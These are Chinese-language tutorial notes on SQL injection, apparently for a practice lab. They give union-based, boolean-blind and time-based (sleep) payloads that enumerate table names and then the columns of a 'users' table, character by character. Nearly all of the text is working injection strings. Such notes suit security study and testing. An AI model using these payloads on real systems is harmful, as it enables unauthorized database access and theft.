1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
盲注形式
盲注形式无法直接查看只能通过猜表的数量后再猜表名的字符。耗时耗力。
布尔盲注
先利用count获取指定字段的行数,也就是表的数量。在进行判断有多少表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
再判断第一个表的长度。
#select查询当前数据库中的表名并用limit从第0行开始算,获取第一行的表,substr从第一个字符开始截取出表名,length获取表的长度 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # #第二个表类似,改变的点为limit从第一行开始,获取第一行的数据。(limit除开字段外,第一行数据为第0行算) 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
判断第一个表的字符
#先select查询information_schema.tables中的table_name字段获取当前数据库的表名,截取第一个,再用substr获取第一个字符。 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' # ... 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a' #
时间盲注
猜数据库中表数量有多少。
1' and if((select count(table_name) from information_schema.tables where table_schema=database()) = 2,sleep(5),null) #
猜表中第一个字段的长度为多少。
#第一个字段 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),null) # ... 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5,sleep(5),null) #
通过if语句猜表中的字符是否为真,来执行延迟。这里猜第一个字段的第一个字符。
1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'),sleep(5),null) # ... 1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)='a'),sleep(5),null) #
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
盲注形式
首先要知道字段的长度为多少
布尔盲注
猜字段的数量
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
猜得字段长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))='7' # ... 1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))='10' #
一样只能通过猜字段的配合,这里示范猜第一个字段的字符
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' # ... 1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='s' #
时间盲注
猜表的字段数量。
1' and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8),sleep(5),null) #
使用if函数猜得第一个字段的字符长度。
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),null) # ... 1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=7,sleep(5),null) #
再猜第一个字段的第一个字符是多少
1' and if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'),sleep(5),null) # ... 1' and if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='u'),sleep(5),null) #